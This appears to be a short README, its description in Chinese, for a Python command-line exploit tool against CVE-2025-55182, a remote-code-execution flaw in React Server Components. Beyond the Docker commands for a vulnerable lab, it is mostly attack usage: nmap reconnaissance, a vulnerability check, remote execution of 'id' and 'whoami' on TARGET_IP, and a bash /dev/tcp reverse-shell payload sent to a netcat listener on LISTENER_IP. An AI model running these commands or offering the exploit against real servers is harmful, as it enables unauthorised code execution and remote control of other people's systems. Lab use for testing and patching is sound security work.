用于 CVE-2025-55182 的 Python CLI 利用工具,这是一个通过 react-server-dom-webpack 利用 React Server Components 的严重 RCE 漏洞。
docker build -t cve-2025-55182:lab .
docker run -d -p 3000:3000 --name cve-2025-55182-vuln cve-2025-55182:lab
nmap --script http-title -p 3000 TARGET_IP
nmap --script http-headers -p 3000 TARGET_IP
## Check for vulnerability
python3 poc.py --ip TARGET_IP --port 3000 --post-endpoint "/formaction" --check
# Recon
python3 poc.py --ip TARGET_IP --port 3000 --post-endpoint "/formaction" --cmd "id"
python3 poc.py --ip TARGET_IP --port 3000 --post-endpoint "/formaction" --cmd "whoami" --no-ssl-verify
# Reverse shell
nc -nlvp 4444
python3 poc.py --ip TARGET_IP --port 3000 --cmd 'bash -c '\''bash -i >& /dev/tcp/LISTENER_IP/4444 0>&1'\'''